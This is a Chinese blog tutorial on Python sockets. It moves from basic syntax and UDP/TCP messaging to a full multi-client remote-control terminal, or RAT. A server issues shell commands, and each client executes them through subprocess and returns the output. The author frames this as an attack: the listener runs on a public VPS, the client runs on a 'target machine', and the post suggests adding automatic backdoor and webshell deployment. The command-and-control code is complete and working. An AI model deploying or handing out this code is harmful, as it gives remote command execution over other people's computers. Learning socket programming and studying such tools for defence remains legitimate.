7366 字
37 分钟
Python Socket 与远控终端原理

0x04 python&socket&远控终端#


一、python#

此处的python内容只是基于socket和远控终端(进阶)需要的知识内容来进行复习

1、f-string#

格式化字符串常量(formatted string literals)

例子:

list_ = [1,2,3]
print(list_, f'has a length of {len(list_)}.')
# [1,2,3] has a length of 3.

大概用法就是

格式化 {} 内容,不在 {} 内的照常展示输出,如果你想输出 {},那就用双层 {{}} 将想输出的内容包起来。

2、字符串和bytes类型相互转换#

字符串类型(str)=>bytes类型

'hello'=>b'hello'
'hello'.encode() #对字符串做一个编码,让str成为bytes类型

bytes类型=>字符串类型(str)

b'hello'.decode() #对bytes类型做一个解码,让bytes类型成为str类型

3、input#

input(‘提示性文字:’)

输出:提示性文字:键盘输入的字符

就譬如

name = input('请输入你的名字:')
print(name)
#输出
请输入你的名字:
请输入你的名字:陈
陈

里面可以放f-string

4、元组#

Python 的元组与列表类似,不同之处在于元组的元素不能修改。

元组使用小括号,列表使用方括号。

元组创建很简单,只需要在括号中添加元素,并使用逗号隔开即可。

如下实例:

tup1 = ('physics', 'chemistry', 1997, 2000)
tup2 = (1, 2, 3, 4, 5 )
tup3 = "a", "b", "c", "d"

创建空元组

tup1 = ()

元组中只包含一个元素时,需要在元素后面添加逗号

tup1 = (50,)

元组与字符串类似,下标索引从0开始,可以进行截取,组合等。

1)访问元组#

元组可以使用下标索引来访问元组中的值,如下实例:

#!/usr/bin/python
tup1 = ('physics', 'chemistry', 1997, 2000)
tup2 = (1, 2, 3, 4, 5, 6, 7 )
print "tup1[0]: ", tup1[0]
print "tup2[1:5]: ", tup2[1:5]

以上实例输出结果:

tup1[0]: physics
tup2[1:5]: (2, 3, 4, 5)

2)修改元组#

元组中的元素值是不允许修改的,但我们可以对元组进行连接组合,如下实例:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
tup1 = (12, 34.56)
tup2 = ('abc', 'xyz')
# 以下修改元组元素操作是非法的。
# tup1[0] = 100
# 创建一个新的元组
tup3 = tup1 + tup2
print tup3

以上实例输出结果:

(12, 34.56, 'abc', 'xyz')

3)删除元组#

元组中的元素值是不允许删除的,但我们可以使用del语句来删除整个元组,如下实例:

#!/usr/bin/python
tup = ('physics', 'chemistry', 1997, 2000)
print tup
del tup
print "After deleting tup : "
print tup

以上实例元组被删除后,输出变量会有异常信息,输出如下所示:

('physics', 'chemistry', 1997, 2000)
After deleting tup :
Traceback (most recent call last):
File "test.py", line 9, in <module>
print tup
NameError: name 'tup' is not defined

4)元组运算符#

与字符串一样,元组之间可以使用 + 号和 * 号进行运算。这就意味着他们可以组合和复制,运算后会生成一个新的元组。

Python 表达式结果描述
len((1, 2, 3))3计算元素个数
(1, 2, 3) + (4, 5, 6)(1, 2, 3, 4, 5, 6)连接
(‘Hi!’,) * 4(‘Hi!’, ‘Hi!’, ‘Hi!’, ‘Hi!’)复制
3 in (1, 2, 3)True元素是否存在
for x in (1, 2, 3): print x,1 2 3迭代

5)元组索引,截取#

因为元组也是一个序列,所以我们可以访问元组中的指定位置的元素,也可以截取索引中的一段元素,如下所示:

元组:

L = ('spam', 'Spam', 'SPAM!')
Python 表达式结果描述
L[2]‘SPAM!’读取第三个元素
L[-2]‘Spam’反向读取,读取倒数第二个元素
L[1:](‘Spam’, ‘SPAM!’)截取元素

6)无关闭分隔符#

任意无符号的对象,以逗号隔开,默认为元组,如下实例:

#!/usr/bin/python
print 'abc', -4.24e93, 18+6.6j, 'xyz'
x, y = 1, 2
print "Value of x , y : ", x,y

以上实例运行结果:

abc -4.24e+93 (18+6.6j) xyz
Value of x , y : 1 2

7)元组内置函数#

Python元组包含了以下内置函数

序号方法及描述
1cmp(tuple1, tuple2) 比较两个元组元素。
2len(tuple) 计算元组元素个数。
3max(tuple) 返回元组中元素最大值。
4min(tuple) 返回元组中元素最小值。
5tuple(seq) 将列表转换为元组。

二、socket#

socket=>套接字=>进程间通信

网络上面大部分的程序/服务都是基于socket来完成通信的

我们要了解网络中如何进程间通信的话就需要先解决两个问题

  • 网络中如何标识一台主机?

​ IP

  • 网络中如何标识唯一进程?

​ PORT

就譬如说现在我想和它的进程通讯,它的进程为nginx=>80端口

我们去访问它的80端口,相当于访问到它的一个nginx进程,然后nginx给我们的client提供了一个web服务,此时我们就通过它的端口号去访问到它的一个进程

现在有IP和端口还差一个协议(通信三元组、端口、协议)那就

**https://**xxx.xxx.xxx.xxx

=>https协议

通过三元组就可以进行网络进程间的通信了

1、python socket server/client思路分析#

打开pycharm

import socket
s = socket.socket()
print(s)

(原图床图片已失效)

<socket.socket fd=520, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0>
family:套接字家族---使用什么样的协议(ipv4/ipv6)
socket.AF_INET => ipv4
socket.AF_INET6 => ipv6
type:套接字样式---TCP/UDP
socket.SOCK_STREAM : 流套接字(TCP)
socket.SOCK_DGRAM : 数据报套接字(UDP)

那接下来我们输入将family改为socket.AF_INET

image-20231210193322542

可以发现输出值并没有改变,默认就是ipv4呗,然后再来将type改为数据报套接字(UDP)

image-20231210193442475

可以发现最底下的type值改变了

那我们现在**新建了一个UDP连接 s **,默认为ipv4,所以前面删掉不写

image-20231210193634840

那这个时候就有一些相关的函数,比如说一些接收的函数s.recv

我们这里用比较基础的s.recvfrom

image-20231210193927812

需要有两个参数,一个字节大小,一个标志位,标志位这里默认有个等于项了,然后它的返回值指向了tuple(元组),tuple里面有bytes,Any,可以看出来它是可以返回数据和对方传过来的IP地址和端口的

首先它需要传递一个字节大小,我们再创建一个变量data用来存储传输的数据

这边作为一个接收端s.py

import socket
s = socket.socket(type=socket.SOCK_DGRAM)
data = s.recvfrom(1024)
print(s)

同样的写法在c.py写一个,只不过c.py是发送端,就不需要接收的函数了

import socket
c = socket.socket(type=socket.SOCK_DGRAM)

但是此时会陷入阻塞状态,你想让别人找到你就需要一个ip地址,我们就需要**s.bind()**这个函数

我们看这个s.bind需要的参数tuple知道它需要传进去一个元组

image-20231210195017736

我们定义一个元组为serverAddr = (‘127.0.0.1’,1226)

让这个udp连接的服务端绑定这个地址s.bind(serverAddr)

此时再运行程序s.py会发现还是被阻塞了,看终端python的标识上有绿点就代表python还在运行中,红色代表报错,没有颜色就代表结束运行,此时是绿点

此时因为服务端的有s.recefrom(1024)这是一个阻塞方法,它会等别人把数据发给它之后它的程序才会继续往下走

此时客户端c.py一样写了serverAddr = (‘127.0.0.1’,1226),有发送的目标,但是并没有发送内容,所以我们还需要一些发送函数c.send

这里我们用c.sendto()

image-20231210201826174

它需要的参数有数据和地址(元组),说简单就是朝什么地方发送什么数据,它的返回值是int型,其实无关紧要

image-20231210202038671

这个元组如果不填的话是有默认值为任意地址的

但是此时我们看

image-20231210202139176

报错了

TypeError: a bytes-like object is required,not 'str'
TypeError:需要bytes类对象,而不是'str'

证明发的不能是’hello’字符串嘛,需要是bytes类型

我们就需要将字符串转化为byte类型---b’hello’就可以直接转换

注意服务器与主机之间所有的通信都是bytes类型的

这时候再运行发现

image-20231210203645431

这时候data接收到了一个元组,第一个东西是数据,第二个东西是地址

但是我们之前并没有给s.py发送客户端的地址,我们之前是朝哪个地址发送什么数据,所以我们可以知道recvfrom不但接收到客户端的数据还接收到了对方的发送端口(IP地址),但客户端并没有给它绑定端口,所以它会使用一个随机端口给我们去发数据

因为它会发送两个东西,所以我们用两个变量给它接收掉

data,clientAddr = s.recvfrom(1024)

输出也变成两个

print(data)

print(clientAddr)

image-20231210204104011

那现在c.py这里有发送方法了,那如果c.py这里也进行接收的话,这时候该怎么写?就是完成两边通信的效果,s.py和c.py可以相互通信

因为在程序执行期间,clientAddr会持续占用之前返回过来的端口号63828,所以我们只要朝这个clientAddr去发就行了

s.sendto(b’world’,clientAddr)

那现在c.py这里要怎么写?直接接收就行了

data,serverAddr = c.recvfrom(1024)

print(data)

然后在服务端我们还能再整一整,格式化一下输出(f”),这里已知clientAddr是一个元组类型,那我们在输出的时候可以这么输出

print(f’{clientAddr[0]}:{clientAddr[1]} > {data}’)

客户端改一改就行

print(f’{serverAddr[0]}:{serverAddr[1]} > {data}’)

image-20231210212818391

然后我们还发现data是个bytes类型我们对它直接data.decode()就可以解码了

image-20231210213409727

再次强调注意服务器与主机之间所有的通信都是bytes类型的所以才需要str和bytes类型之间的相互编码解码来完成一个数据正常传输的效果

接下来我们引入一个新的库,第三方库,subprocess,它其实就是一个执行命令的库,这时候我们引用一个getoutput函数

image-20231210224510395

我们来看一下参数,首先encoding和errors都有一个默认值我们就不需要输入了,我们就看第一个cmd的参数bytes/str类型,就譬如

data = subprocess.getoutput(‘ls’)

print(data)

image-20231210224721129

非常简单嘛,就是一个命令执行的结果

接下来我们修改一下c.py的内容

2、固定信息双向通信#

服务端向客户端发送一句world,客户端向服务端发送一句hello,代码的含义以及推演过程在第一部分都已经说了哈

1)服务端#

import socket
#设定服务器地址
serverAddr = ('127.0.0.1',12260)
#创建 socket 并且绑定到服务器地址
s = socket.socket(type=socket.SOCK_DGRAM)
s.bind(serverAddr)
#开始监听端口,接收 1024 个字节
data,clientAddr = s.recvfrom(1024)
print(f'{clientAddr[0]}:{clientAddr[1]} > {data.decode()}')
#朝发送端,发送数据
s.sendto('world'.encode(),clientAddr)

2)客户端#

import socket
#设定服务器地址
serverAddr = ('127.0.0.1',12260)
#创建 socket 连接
c = socket.socket(type=socket.SOCK_DGRAM)
#开始向服务器地址发送数据
c.sendto(b'hello',serverAddr)
#开始监听端口,等待数据发送回来
data,serverAddr = c.recvfrom(1024)
print(f'{serverAddr[0]}:{serverAddr[1]} > {data.decode()}')

3)效果展示#

image-20231210215121661

注意如果客户端和服务端两个都先接收不发送就会发送堵死的情况

在c.py中在发送之前再写一句c.recvfrom(1024),就会看见python标志两边都是绿色的,两边都在执行,但是两边都在等数据,数据发不过来,没有人先动

image-20231210215706844

3、手动输入信息单向通信#

客户端输入消息,服务端接收消息

1)服务端#

import socket
#配置服务端监听的地址和端口
serverAddr = ('127.0.0.1',1226)
#使用UDP协议传输
s = socket.socket(type=socket.SOCK_DGRAM)
#绑定服务端地址和端口
s.bind(serverAddr)
#设置循环变量num
num=1
#接受客户端的数据并解码
while True:
data,serverAddr = s.recvfrom(1024)
print(f'第{num}次收到的数据为:{data.decode()}')
num+=1

2)客户端#

import socket
#绑定服务端地址和端口
serverAddr = ('127.0.0.1',1226)
#使用UDP协议传输
c = socket.socket(type=socket.SOCK_DGRAM)
#输入数据并将数据编码发送给服务端
while True:
data = input('要输入的数据:')
c.sendto(data.encode(),serverAddr);

3)效果展示#

image-20231210223021600

4、多线程手动输入双向通信#

1)服务端#

import socket
import threading
def receive_messages():
while True:
try:
data, clientAddr = s.recvfrom(1024)
print(f'收到来自 {clientAddr[0]}:{clientAddr[1]} 的消息:{data.decode()}')
# 将收到的消息保存在列表中
received_messages.append((data, clientAddr))
except socket.error:
pass # 如果没有收到消息,继续循环
def process_messages():
while True:
if received_messages:
data, clientAddr = received_messages.pop(0) # 获取收到的消息队列的第一个消息
reply = input(f'回复消息给 {clientAddr[0]}:{clientAddr[1]}: ')
s.sendto(reply.encode(), clientAddr)
# 配置服务端监听的地址和端口
serverAddr = ('127.0.0.1', 1226)
# 使用UDP协议传输
s = socket.socket(type=socket.SOCK_DGRAM)
# 绑定服务端地址和端口
s.bind(serverAddr)
# 设置为非阻塞模式
s.setblocking(False)
# 用于保存收到的消息的列表
received_messages = []
# 启动接收消息和处理消息的线程
receive_thread = threading.Thread(target=receive_messages)
process_thread = threading.Thread(target=process_messages)
receive_thread.start()
process_thread.start()

2)客户端#

import socket
import threading
def send_messages():
while True:
try:
data = input('输入要发送的数据: ')
c.sendto(data.encode(), serverAddr)
except socket.error:
pass # 如果发送失败,继续循环
def receive_messages():
while True:
try:
response, server = c.recvfrom(1024)
print(f'收到来自服务端的消息: {response.decode()}')
except socket.error:
pass # 如果没有接收到消息,继续循环
# 配置服务端地址和端口
serverAddr = ('127.0.0.1', 1226)
# 使用UDP协议传输
c = socket.socket(type=socket.SOCK_DGRAM)
# 绑定客户端地址和端口
c.bind(('127.0.0.1', 0)) # 绑定到任何可用端口
# 启动发送和接收消息的线程
send_thread = threading.Thread(target=send_messages)
receive_thread = threading.Thread(target=receive_messages)
send_thread.start()
receive_thread.start()

3)效果展示#

image-20231210222819421

5、远控基础展示#

这里引用的是subprocess这个库,别搞错了,基础这里服务端和客户端是一对一的关系,没有用到多线程,进阶才用到一对多的多线程关系

1)服务端#

import socket
# 设定服务器地址
serverAddr = ('127.0.0.1', 1226)
# 创建 socket 并且绑定到服务器
s = socket.socket(type=socket.SOCK_DGRAM)
s.bind(serverAddr)
# 开始监听端口,接收 1024 个字节(接收数据和对端地址)
data, clientAddr = s.recvfrom(10240)
while 1:
# 输入shell指令
msg = input(f'{clientAddr[0]}:{clientAddr[1]} > ')
# 向客户端发送shell指令
s.sendto(msg.encode(), clientAddr)
# recv只接收前面的类型,也就是只接收数据没有再接收地址了(这里也不需要再接收对端的地址了)
print(s.recv(10240).decode())

2)客户端#

import socket
import subprocess
# 设定服务器地址
serverAddr = ('127.0.0.1', 1226)
# 创建 socket 连接
c = socket.socket(type=socket.SOCK_DGRAM)
# 开始向服务器地址发送数据,这里的这个hello是必须发的,不然服务端不知道客户端的地址
c.sendto(b'hello', serverAddr)
# 开始监听端口,等待数据发送回来
while True:
# 接收服务端发送过来的shell指令和服务端的地址
data, serverAddr = c.recvfrom(10240)
# 由于subprocess.getoutput()函数需要一个字符串类型的命令作为参数,我们将接收到的数据(指令)进行解码
command = data.decode()
# 进程间的通信都是bytes类型,因此执行完命令后结果还要进行编码,再发回去给服务端
output = subprocess.getoutput(command).encode()
c.sendto(output, serverAddr)

3)效果展示#

服务端输入命令客户端进行执行并返回结果

image-20231210234230742

4)实战运用思路#

首先在公网vps服务端开启监听

然后在目标机器执行客户端程序

5)远控基础展示优化点#

远控流程:

服务器发送指令=>客户端执行=>客户端发送给服务器

优化点:

1、数据加密(这里以b64加密为例)#
1.服务端#
import base64
import socket
# 设定服务器地址
serverAddr = ('127.0.0.1', 1226)
# 创建 socket 并且绑定到服务器
s = socket.socket(type=socket.SOCK_DGRAM)
s.bind(serverAddr)
# 开始监听端口,接收 1024 个字节(接收数据和对端地址)
data, clientAddr = s.recvfrom(10240)
while 1:
# 输入shell指令
msg = input(f'{clientAddr[0]}:{clientAddr[1]} > ')
#把要发送的shell指令进行base64的编码加密,由于这个b64encode()需要bytes类型,所以得先把str编码成bytes类型
msg = base64.b64encode(msg.encode())
# 由于之前已经编码成bytes类型了,这里直接向客户端发送shell指令
s.sendto(msg, clientAddr)
# recv只接收前面的类型,也就是只接收数据没有再接收地址了,后面的from就不需要了(本来不是recvfrom()嘛,这里也不需要再接收对端的地址了)
msg1 = s.recv(10240)
#将接收到的指令进行b64的解码
msg2 = base64.b64decode(msg1)
#将解码后的bytes类型再解码成str类型
msg3 = msg2.decode()
#输出命令执行后的str类型结果
print(msg3)
2.客户端#
import base64
import socket
import subprocess
# 设定服务器地址
serverAddr = ('127.0.0.1', 1226)
# 创建 socket 连接
c = socket.socket(type=socket.SOCK_DGRAM)
# 开始向服务器地址发送数据
c.sendto(b'hello', serverAddr)
# 开始监听端口,等待数据发送回来
while 1:
# 接收服务端发送过来的shell指令和服务端的地址
data, serverAddr = c.recvfrom(10240)
# 解码接收到的数据
msg = base64.b64decode(data).decode()
# 执行shell指令并获取结果
msg1 = subprocess.getoutput(msg)
# 对结果进行base64编码后发送给服务端
msg2 = base64.b64encode(msg1.encode())
c.sendto(msg2, serverAddr)
3.效果展示#
image-20231211103149922
2、搭建TCP连接(远控终端基础)#
1.搭建TCP连接思路#

这里用UDP的方法并不好,所以此时用TCP的方法会比较合适,TCP是一个默认的模式,我们就不需要再去设置type类型了

我们绑定端口是不是要等待对方连接?连接的话这时候就有一个新的函数了

---connect()

在客户端c.py输入c.connect(serverAddr)我们主动的去连接对方

那现在s.py服务端绑定完地址后其实不能直接等待客户端连接的,我们需要做一个服务端监听,这时候又需要有一个函数---accept()

在服务端s.py输入s.accept()我们做一个监听

现在服务端的参数还不够,我们还得设置一下监听数量(最大连接数量),又引进一个新函数---listen()

继续在服务端s.py输入s.listen(10),设置监听10台主机

此时我们看看效果

image-20231211111614927

可以发现服务端返回的输出

(<socket.socket fd=452, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1226), raddr=('127.0.0.1', 18468)>, ('127.0.0.1', 18468)) #成功监听

那这个过程,在服务端创建监听,在客户端尝试连接这个过程,其实就是TCP三次握手的代码化

这里服务端它返回了一个元组,这个元组返回的值有两项

image-20231211111944380

​ 它返回了一个socket连接和一个Any,这socket|socket中其中一个是自己创建的socket连接,另一个是指向客户端的socket连接,有两个对象嘛,看上面,前面的返回的一个socket<socket.socket fd=452, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=(‘127.0.0.1’, 1226), raddr=(‘127.0.0.1’, 18468)>,后面返回的一个Any是客户端的地址(‘127.0.0.1’, 18468)

​ 我们主要看看前面的socket,我们在执行完之后会有两条socket连接,socket指向了一个laddr(本地地址)和raddr(客户端的地址) ,所以是socket|socket

这时候我们就拥有了clientSocket和clientAddr

创建两个对象来接收数据

clientSocket,clientAddr = s.accept()

那这时候怎么发送数据呢?

发送数据就不需要像UDP连接那样再找clientAddr

因为我们TCP三次握手已经完成,这里直接找clientSocket就行

也不需要sendto直接用send发送数据

clientSocket.send(b’hi’)

同时在客户端创建一个接收

c.recv(1024)

我们来测试一下效果

image-20231211113543913

客户端成功收到消息

TCP与UDP有什么不同?

UDP是监听别人发送过来的消息

  • UDP本身就是无连接的协议,所以收发消息直接朝IP和端口发送就行

TCP是监听客户端的连接

  • TCP是有连接协议,经过三次握手后socket就会建立一个新的连接,这个连接就是和对方的桥梁

当然这只是单向的服务端往客户端发送消息,我们可以再优化一下实现TCP连接双向固定消息发送,如下代码所示

2.服务端#
import socket
# 设定服务器地址
serverAddr = ('127.0.0.1', 1226)
# 创建 socket 绑定到服务器地址,并且定义最大连接数量
s = socket.socket()
s.bind(serverAddr)
s.listen(10)
#等待客户端连接(TCP三次握手)
clientSocket,clientAddr = s.accept()
#给客户端发送消息
clientSocket.send(b'hello')
#接收并输出客户端传来的消息
print(clientSocket.recv(10240).decode())
3.客户端#
import socket
# 设定服务器地址
serverAddr = ('127.0.0.1', 1226)
# 创建 socket 连接
c = socket.socket()
c.bind(('127.0.0.1',4399))
# 连接到指定服务器(TCP三次握手)
c.connect(serverAddr)
# 接收服务端的消息
msg = c.recv(1024)
# 打印出服务端的消息
print(msg.decode())
# 给服务端发送数据
c.send(b'world')
4.效果展示#

实现简单的消息收发效果

image-20231211205856190

三、远控终端(进阶)#

​ 多线程、一对多的关系

(一个服务端可以有很多客户端进行连接)

​ 用python运行,远控就是远程控制,代码都是需要自己手敲的,还可以添加很多功能譬如自动化、自动后门部署、自动信息收集、自动大马等,都可以在服务端添加进新的代码进行优化升级

1、服务端#

1)代码#

#Socket Server
import socket
from threading import Thread
# 定义函数,用于打印不同颜色的文本
def font_color(text, foreground=30, background_color=False, ftype=0):
foreground = 32 if text == '[+]' else 31 if text == '[-]' else 34 if text == '[*]' else foreground
if background_color:
return '\033[{};{};{}m{}\033[0m'.format(ftype, foreground, background_color, text)
else:
return '\033[{};{}m{}\033[0m'.format(ftype, foreground, text)
# 设置服务器地址和端口
serverAddr = ('127.0.0.1', 12260)
# 创建一个 socket 实例并绑定到服务器地址
s = socket.socket()
s.bind(serverAddr)
# 开始监听传入连接
s.listen(10)
print(f'{font_color("[+]")} 开始监听')
# 设置端口复用,允许重新使用地址
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
# 客户端列表和下一个可用的客户端 ID
clientList = []
next_client_id = 1 # 计数器,表示下一个客户端的 ID
# 处理新客户端连接的函数
def listen():
global next_client_id
while True:
# 接受客户端连接
clientSocket, clientAddr = s.accept()
# 将新客户端添加到列表并显示信息
clientList.append([next_client_id, clientAddr, clientSocket])
print(f'{font_color("[+]")}{clientAddr[0]}:{clientAddr[1]} 添加到列表')
# 启动新线程处理客户端消息
Thread(target=handle_client, args=([next_client_id, clientAddr, clientSocket],)).start()
next_client_id += 1 # 为下一个客户端更新计数器
# 处理客户端消息的函数
def handle_client(client_info):
client_id, client_addr, client_socket = client_info
while True:
try:
# 输入命令
msg = input(f'PS > ')
msg = msg.split()
# 检查输入是否为空
if len(msg) == 0:
print("请输入命令")
continue
# 检查命令并执行相应操作
if msg[0] == 'check':
# 显示客户端列表
print('\tid\tip/port')
disconnected_clients = []
# 检查客户端连接状态
for idx, client in enumerate(clientList):
try:
client[2].send(b'dir') # 发送一个测试消息
client[2].recv(1024)
except ConnectionResetError:
disconnected_clients.append(idx)
# 移除断开连接的客户端
for disconnected_idx in disconnected_clients:
client_id = clientList[disconnected_idx][0]
print(f"Client {client_id} 断开连接")
clientList.pop(disconnected_idx)
# 打印当前客户端列表
for client in clientList:
print(f'\t{client[0]}\t{client[1][0]}:{client[1][1]}')
print()
elif msg[0] == 'shell':
# 处理 shell 命令
if len(msg) < 2:
print("请输入要连接的客户端 ID")
continue
client_id_to_connect = msg[1]
client_found = False
# 遍历客户端列表查找要连接的客户端
for client in clientList:
if client_id_to_connect == str(client[0]):
client_found = True
while True:
clientMsg = input(f'{client[1][0]}:{client[1][1]} > ')
if clientMsg == "":
continue
elif clientMsg == 'exit':
break
else:
client[2].send(clientMsg.encode())
print(client[2].recv(10240).decode())
break
if not client_found:
print("找不到指定的客户端 ID")
elif msg[0] == 'remove':
# 处理 remove 命令
try:
client_id_to_remove = int(msg[1])
for idx, client in enumerate(clientList):
if client[0] == client_id_to_remove:
clientList.pop(idx)
print(f"Client {client_id_to_remove} 已移除")
break
reset_client_ids()
except (IndexError, ValueError):
print("请输入有效的客户端 ID")
except ConnectionResetError:
# 处理客户端断开连接
print(f"Client {client_id} 断开连接")
for idx, client in enumerate(clientList):
if client[0] == client_id:
clientList.pop(idx)
break
break
# 重置客户端 ID 计数器
def reset_client_ids():
global next_client_id
next_client_id = 1
for idx, client in enumerate(clientList):
client[0] = next_client_id
next_client_id += 1
# 启动监听线程
Thread(target=listen).start()

2)作用#

用于建立一个python socket server。作用如下:
监听连接请求: 使用 socket 库创建一个服务器套接字并绑定到指定的 IP 地址和端口上(这里是 127.0.0.1:12260)。s.listen(10) 告诉服务器接受多少个客户端连接请求。
接受客户端连接: 使用 accept() 方法等待并接受来自客户端的连接。一旦有客户端连接请求到达,它将被接受并创建一个新的套接字对象以用于与该客户端通信。
处理客户端请求: 为每个连接到服务器的客户端启动一个新的线程(使用 Thread 模块),这样服务器可以同时处理多个客户端的请求。在这个线程中,服务器可以接收来自客户端的命令,并根据命令做出相应的处理,比如执行命令、发送数据等。
客户端管理: 服务器代码中有对客户端列表的管理。它可以追踪连接到服务器的客户端,并允许管理员通过命令进行查看、控制和移除特定客户端。
安全性和错误处理: 这个简化的例子可能没有涵盖所有的安全性和错误处理。一个完整的生产级别的服务器可能需要更多的安全性考虑,比如对于输入的验证、异常处理等方面的处理。
这种服务器的应用场景通常用于远程控制、远程监控或者远程命令执行等。客户端可以通过连接到服务器与服务器进行通信,并根据服务器发送的指令执行相应的操作。

2、客户端#

1)代码#

#Socket Client
import socket
import subprocess
# 设定服务器地址和端口
serverAddr = ('127.0.0.1', 12260)
# 创建一个 socket 连接
c = socket.socket()
# 连接到指定的服务器(TCP三次握手)
c.connect(serverAddr)
while True:
# 接收来自服务器的命令
command = c.recv(10240).decode()
# 检查是否收到退出命令,如果是则退出循环
if command.strip() == 'exit':
break
# 执行收到的命令并获取结果
try:
result = subprocess.getoutput(command)
except Exception as e:
result = str(e)
# 将执行结果发送回服务器
c.send(result.encode())
# 关闭连接
c.close()

2)作用#

一个基本的客户端程序,用于与指定的服务器进行通信。作用如下:
建立连接: 客户端使用 socket 库建立与服务器的连接。在这种情况下,它连接到本地主机(127.0.0.1)的特定端口(12260)。
接收命令: 通过循环,客户端持续接收来自服务器的命令。
执行命令: 客户端使用 subprocess 库执行接收到的命令。它通过调用系统命令行执行这些命令,然后获取命令执行的结果。
发送结果: 执行命令后,客户端将命令执行的结果发送回服务器。
退出连接: 当服务器发送退出命令时,客户端终止循环并关闭连接。
这种类型的程序常用于服务器与客户端之间的远程命令执行或者控制,服务器发送命令给客户端,客户端执行命令并将结果返回给服务器。这种模型常见于远程管理、远程控制等应用场景中。

3、效果展示#

服务端开启监听,客户端运行

image-20231210175439584

check是用来显示已经建立连接的主机(id/地址/端口号)

shell i(i是指代连接主机shell的id)

譬如要连接id=1的主机的shell就shell 1

此时就可以成功进入该主机的shell

image-20231210175816519

exit是用来退出该连接主机的shell

remove用来移除已连接的主机

同时由于是多线程,是1对多的关系,服务端可以有多个客户端进行连接,我们再连接一个客户端试试

image-20231210180219378

可以发现又成功添入进一台主机

4、攻击流程#

image-20231210183041420

5、番外:学习方向#

​ 2022年6月22日,西北工业大学发布《公开声明》称,该校遭受境外网络攻击。陕西省西安市公安局碑林分局随即发布《警情通报》,证实在西北工业大学的信息网络中发现了多款源于境外的木马和恶意程序样本,西安警方已对此正式立案调查。

  中国国家计算机病毒应急处理中心和360公司全程参与了此案的技术分析工作。技术团队先后从西北工业大学的多个信息系统和上网终端中提取到了木马程序样本,综合使用国内现有数据资源和分析手段,并得到欧洲、东南亚部分国家合作伙伴的通力支持,全面还原了相关攻击事件的总体概貌、技术特征、攻击武器、攻击路径和攻击源头,初步判明相关攻击活动源自于美国国家安全局(NSA)的“特定入侵行动办公室”(即:Office of Tailored Access Operation,后文简称“TAO”)。

  本系列研究报告将公布TAO对西北工业大学发起的上千次网络攻击活动中,某些特定攻击活动的重要细节,为全球各国有效发现和防范TAO的后续网络攻击行为提供可以借鉴的案例。

77

如果要成为最顶级的渗透工程师代码审计必须要学会,代码要多敲,就譬如多线程较为优秀的Golang语言,然后研究方向可以看看系统、二进制、协议,挖系统漏洞,二进制漏洞,协议漏洞,绝对是0day中最猛的

Python Socket 与远控终端原理
https://wangyi187.top/posts/python-socket-rat/
作者
WangYi
发布于
2024-06-19
许可协议
CC BY-NC-SA 4.0